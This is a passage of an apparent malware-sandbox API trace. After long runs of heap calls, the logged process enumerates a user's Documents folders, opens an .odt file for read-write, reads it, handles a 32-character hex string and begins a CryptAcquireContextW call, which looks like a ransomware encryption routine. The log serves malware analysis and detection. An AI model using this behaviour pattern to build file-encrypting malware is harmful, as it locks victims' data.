RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\") returned="KevqRYRLai6W-uOAz\\" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\") returned="Rpss_8PAcreSznq0jw9\\" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dab0 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.623] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.623] PathFindFileNameW (pszPath="") returned="" [0061.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bcc7e10, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0x61256a10, ftLastAccessTime.dwHighDateTime=0x1d4cc57, ftLastWriteTime.dwLowDateTime=0x61256a10, ftLastWriteTime.dwHighDateTime=0x1d4cc57, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.624] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bcc7e10, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0x61256a10, ftLastAccessTime.dwHighDateTime=0x1d4cc57, ftLastWriteTime.dwLowDateTime=0x61256a10, ftLastWriteTime.dwHighDateTime=0x1d4cc57, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.624] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f57200, ftCreationTime.dwHighDateTime=0x1d4ccb9, ftLastAccessTime.dwLowDateTime=0x235ab670, ftLastAccessTime.dwHighDateTime=0x1d4c722, ftLastWriteTime.dwLowDateTime=0x235ab670, ftLastWriteTime.dwHighDateTime=0x1d4c722, nFileSizeHigh=0x0, nFileSizeLow=0x13273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpZgjv9AbFGPDH.odt", cAlternateFileName="CPZGJV~1.ODT")) returned 1 [0061.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0061.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.624] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\cpZgjv9AbFGPDH.odt") returned=".odt" [0061.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\cpZgjv9AbFGPDH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\cpzgjv9abfgpdh.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.624] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=78451) returned 1 [0061.624] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.630] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1324d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.630] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.631] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.631] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x13273, lpOverlapped=0x0) returned 1 [0061.631] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.631] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.631] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.631] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, 